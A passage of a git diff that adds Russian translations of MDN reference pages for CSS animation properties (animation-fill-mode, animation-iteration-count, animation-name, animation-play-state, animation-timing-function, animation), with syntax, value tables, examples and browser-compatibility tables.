+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Использование CSS анимации</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html
new file mode 100644
index 0000000000..6e1d0ef170
--- /dev/null
+++ b/files/ru/web/css/animation-fill-mode/index.html
@@ -0,0 +1,235 @@
+---
+title: animation-fill-mode
+slug: Web/CSS/animation-fill-mode
+tags:
+  - CSS
+  - CSS анимации
+  - CSS свойства
+translation_of: Web/CSS/animation-fill-mode
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> определяет, как нужно применять стили к объекту анимации до и после ее выполнения.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Несколько значений могут быть заданы через запятую. */
+/* Каждое значение соответствует для анимации в animation-name<code>.</code> */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Стили анимации не будут применены к элементу до и после ее выполнения.</dd>
+ <dt><code>forwards</code></dt>
+ <dd>По окончании анимации элемент сохранит стили последнего ключевого кадра, который определяется значениями {{cssxref("animation-direction")}} и {{cssxref("animation-iteration-count")}}:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col"><code>animation-iteration-count</code></th>
+    <th scope="col">последний ключевой кадр</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code></td>
+    <td>любое</td>
+    <td><code>100%</code> или <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code></td>
+    <td>любое</td>
+    <td><code>0%</code> или <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>четное</td>
+    <td><code>0%</code> или <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>нечетное</td>
+    <td><code>100%</code> или <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>четное</td>
+    <td><code>100%</code> или <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>нечетное</td>
+    <td><code>0%</code> или <code>from</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>backwards</code></dt>
+ <dd>Элемент сохранит стиль первого <a href="/en-US/docs/CSS/@keyframes">ключевого кадра</a> на протяжении периода {{cssxref("animation-delay")}}. Первый ключевой кадр определяется значением {{cssxref("animation-direction")}}:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col">первый ключевой кадр</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code> или <code>alternate</code></td>
+    <td><code>0%</code> или <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code> или <code>alternate-reverse</code></td>
+    <td><code>100%<font face="Open Sans, Arial, sans-serif"> или </font></code><code>to</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>both</code></dt>
+ <dd>Анимация будет вести себя так, как будто значения forwards и backwards заданы одновременно.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Вы можете посмотреть эффект animation-fill-mode в следующем примере. По умолчанию, по окончании анимации стиль элемента возвращается к исходному. Значение forwards сохранит для элемента стиль последнего ключевого кадра.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Наведите курсор мыши на серый блок&lt;/p&gt;
+&lt;div class="demo"&gt;
+  &lt;div class="grows"&gt;Этот просто растет&lt;/div&gt;
+  &lt;div class="growsandstays"&gt;Этот растет и остается большим&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+  font-family: sans-serif;
+}
+@keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+@-webkit-keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+.demo:hover .grows {
+    animation-name: grow;
+    animation-duration: 3s;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+}
+.demo:hover .growsandstays {
+    animation-name: grow;
+    animation-duration: 3s;
+    animation-fill-mode: forwards;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+    -webkit-animation-fill-mode: forwards;
+}</pre>
+
+<p>{{EmbedLiveSample('Example',700,300)}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Использование CSS анимации</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html
new file mode 100644
index 0000000000..cffef0088d
--- /dev/null
+++ b/files/ru/web/css/animation-iteration-count/index.html
@@ -0,0 +1,133 @@
+---
+title: animation-iteration-count
+slug: Web/CSS/animation-iteration-count
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation-iteration-count
+---
+<div>{{ CSSRef() }}</div>
+
+<div>{{ SeeCompatTable() }}</div>
+
+<h2 id="Обзор">Обзор</h2>
+
+<p><a href="/ru/CSS" title="CSS">CSS</a><code><font face="Open Sans, Arial, sans-serif"> свойство </font><strong>animation-iteration-count</strong></code> определяет сколько раз будет проигрываться анимационный цикл, перед тем как остановиться.</p>
+
+<p>Наиболее удобно использовать это свойство в сокращенном варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">animation-iteration-count: infinite;
+animation-iteration-count: 3;
+animation-iteration-count: 2.3;
+
+animation-iteration-count: 2, 0, infinite;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>infinite</code></dt>
+ <dd>Анимация повторяется бесконечно.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Сколько раз анимация будет повторяться; по-умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведет половину анимационного цикла).</dd>
+</dl>
+
+<h3 id="Правила_синтаксиса">Правила синтаксиса</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Смотрите примеры  <a href="/ru/docs/Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy">CSS анимации</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-iteration-count', 'animation-iteration-count') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10 </td>
+   <td>12 {{ property_prefix("-o") }}<br>
+    12.10</td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatChrome(43.0)}}<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy" title="Обучение CSS анимациям">Ипользование CSS анимацией</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html
new file mode 100644
index 0000000000..b1d1dc080b
--- /dev/null
+++ b/files/ru/web/css/animation-name/index.html
@@ -0,0 +1,133 @@
+---
+title: animation-name
+slug: Web/CSS/animation-name
+translation_of: Web/CSS/animation-name
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство <strong><code>animation-name</code></strong> задаёт список анимаций, чтобы примененить к элементу. Каждое имя является правилом {{cssxref("@keyframes")}}, которое задаёт значения свойств для последовательности анимации.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-name.html")}}</div>
+
+
+
+<p>Часто удобно использовать сокращенное свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css"><code class="language-css"><span class="comment token">/* Single animation */</span></code>
+animation-name: none;
+animation-name: test_05;
+animation-name: -specific;
+animation-name: sliding-vertically;
+
+<code class="language-css"><span class="comment token">/* Multiple animations */</span></code>
+animation-name: test1;
+animation-name: test1, animation4;
+animation-name: none, -moz-specific, sliding;
+
+<code class="language-css"><span class="comment token">/* Global values */</span></code>
+animation-name: <a href="/en-US/docs/Web/CSS/initial">initial</a>
+animation-name: <a href="/en-US/docs/Web/CSS/inherit">inherit</a>
+animation-name: <a href="/en-US/docs/Web/CSS/unset">unset</a>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Это специальное ключевое слово, обозначающее отсутствие ключевых кадров. Оно может быть использовано для отключения анимации без изменения порядка других идентификаторов, или для отключения анимации, поступающей из каскада.</dd>
+ <dt>{{cssxref("custom-ident","&lt;custom-ident&gt;")}}</dt>
+ <dd>Строка, идентифицирующая анимацию. Этот индентификатор состоит из комбинации букв без учета регистра от <code>a</code> до <code>z</code>, цифр от <code>0</code> до <code>9</code>, подчеркивания (<code>_</code>), и/или черты (<code>-</code>). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть <code>none</code>, <code>unset</code>, <code>initial</code>, или <code>inherit</code> в любой комбинации случаев.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>См. <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS animations</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-name', 'animation-name')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10 </td>
+   <td>12 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Использование CSS анимации</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html
new file mode 100644
index 0000000000..293765d1e9
--- /dev/null
+++ b/files/ru/web/css/animation-play-state/index.html
@@ -0,0 +1,130 @@
+---
+title: animation-play-state
+slug: Web/CSS/animation-play-state
+translation_of: Web/CSS/animation-play-state
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <strong><code>animation-play-state</code></strong> определяет состояние анимации, паузы или проигрыша. Это можно использовать, чтобы определить текущее состояние анимации, например, в скриптах.</p>
+
+<p>Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнется с начала.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Одна анимация */
+animation-play-state: running;
+animation-play-state: paused;
+
+/* Несколько анимаций */
+animation-play-state: paused, running, running;
+
+/* Глобальный значения */
+animation-play-state: inherited;
+animation-play-state: initial;
+animation-play-state: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>running</code></dt>
+ <dd>Анимация проигрывается.</dd>
+ <dt><code>paused</code></dt>
+ <dd>Анимация поставлена на паузу.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox"><code>{{csssyntax}}</code>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>См. <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS animations</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-play-state', 'animation-play-state')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Использование CSS анимаций</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html
new file mode 100644
index 0000000000..c9c5c388b1
--- /dev/null
+++ b/files/ru/web/css/animation-timing-function/index.html
@@ -0,0 +1,92 @@
+---
+title: animation-timing-function
+slug: Web/CSS/animation-timing-function
+translation_of: Web/CSS/animation-timing-function
+---
+<p>{{CSSRef}}</p>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство <code><strong>animation-timing-function</strong></code> задаёт как происходит анимация в течении длительности каждого цикла.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/animation-timing-function.html")}}</p>
+
+
+
+<p>Достаточно удобно использовать сокращённое свойство {{cssxref("animation")}} для того, чтобы установить все свойства для анимации одновременно.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="comment token">/* Keyword values */</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> ease<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> ease-in<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> ease-out<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> ease-in-out<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> linear<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> step-start<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> step-end<span class="punctuation token">;</span>
+
+<span class="comment token">/* Function values */</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">cubic-bezier</span><span class="punctuation token">(</span><span class="number token">0.1</span><span class="punctuation token">,</span> <span class="number token">0.7</span><span class="punctuation token">,</span> <span class="number token">1.0</span><span class="punctuation token">,</span> <span class="number token">0.1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">4</span><span class="punctuation token">,</span> end<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* Steps Function keywords */</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">4</span><span class="punctuation token">,</span> jump-start<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">,</span> jump-end<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">20</span><span class="punctuation token">,</span> jump-none<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">5</span><span class="punctuation token">,</span> jump-both<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">6</span><span class="punctuation token">,</span> start<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> <span class="function token">steps</span><span class="punctuation token">(</span><span class="number token">8</span><span class="punctuation token">,</span> end<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* Multiple animations */</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> ease<span class="punctuation token">,</span> step-start<span class="punctuation token">,</span> <span class="function token">cubic-bezier</span><span class="punctuation token">(</span><span class="number token">0.1</span><span class="punctuation token">,</span> <span class="number token">0.7</span><span class="punctuation token">,</span> <span class="number token">1.0</span><span class="punctuation token">,</span> <span class="number token">0.1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* Global values */</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> initial<span class="punctuation token">;</span>
+<span class="property token">animation-timing-function</span><span class="punctuation token">:</span> unset<span class="punctuation token">;</span></code></pre>
+
+<p>Временные функции могут быть установлены в пользовательских keyframes'ах в правилах <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a>. Если в keyframe'е значение <code><strong>animation-timing-function</strong></code> указано, соответствующее значение <code><strong>animation-timing-function</strong></code> от элемента к которому анимация применена используется для этого keyframe'а.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;timingfunction&gt;</code></dt>
+ <dd>Каждый {{cssxref("&lt;timing-function&gt;")}} представляет функцию расчета времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>См. <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="en-US/docs/CSS/CSS_animations">CSS animations</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-timing-function', 'animation-timing-function')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.animation-timing-function")}}</p>
+
+<p><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Смотрите также</span></p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS developer guide about CSS animations">Использование CSS анимаций</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/animation/index.html b/files/ru/web/css/animation/index.html
new file mode 100644
index 0000000000..3abcbb06a7
--- /dev/null
+++ b/files/ru/web/css/animation/index.html
@@ -0,0 +1,118 @@
+---
+title: animation
+slug: Web/CSS/animation
+translation_of: Web/CSS/animation
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>animation</code></strong> это <a href="/en-US/docs/Web/CSS/Shorthand_properties">короткая запись</a> для {{cssxref("animation-name")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-timing-function")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-fill-mode")}} и {{cssxref("animation-play-state")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/animation.html")}}</p>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions#Which_CSS_properties_are_animatable">Описание того, какие свойства являются анимируемые</a> доступно; стоит отметить, что это описание также подходит для <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS переходов</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css notranslate">/* @keyframes duration | timing-function | delay |
+   iteration-count | direction | fill-mode | play-state | name */
+  animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+  animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+  animation: 3s slidein;
+</pre>
+
+<p>Порядок важен в каждом определении анимации: первое значение, которое может быть проанализировано как {{cssxref("&lt;time&gt;")}} присваивается {{cssxref("animation-duration")}}, и второй назначен {{cssxref("animation-delay")}}.</p>
+
+<p>Note that order is also important within each animation definition for distinguishing {{cssxref("animation-name")}} values from other keywords. When parsing, keywords that are valid for properties other than {{cssxref("animation-name")}} whose values were not found earlier in the shorthand must be accepted for those properties rather than for {{cssxref("animation-name")}}. Furthermore, when serializing, default values of other properties must be output in at least the cases necessary to distinguish an {{cssxref("animation-name")}} that could be a value of another property, and may be output in additional cases.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
